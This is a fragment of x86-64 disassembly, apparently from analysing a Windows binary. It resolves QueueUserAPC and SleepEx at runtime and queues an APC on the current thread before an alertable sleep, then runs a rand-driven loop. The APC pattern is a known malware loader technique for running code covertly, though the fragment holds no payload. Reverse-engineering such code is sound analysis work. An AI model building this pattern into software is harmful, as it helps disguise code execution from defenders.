mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x668]
mov r9, qword [rbp + 0x660]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x658]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov dword [rbp + 0x7fc], 0xffffffff
add dword [rbp + 0x7fc], 1
call sub.msvcrt.dll_rand
shl eax, 3
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006680]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003c50
movq rax, xmm0
mov qword [rbp + 0x650], rax
cmp dword [rbp + 0x7fc], 0x111
jle 0x1400029e1
mov eax, 0
movups xmm6, xmmword [rbp + 0x870]
add rsp, 0x908
pop rbx
pop rsi
pop rdi
pop rbp
ret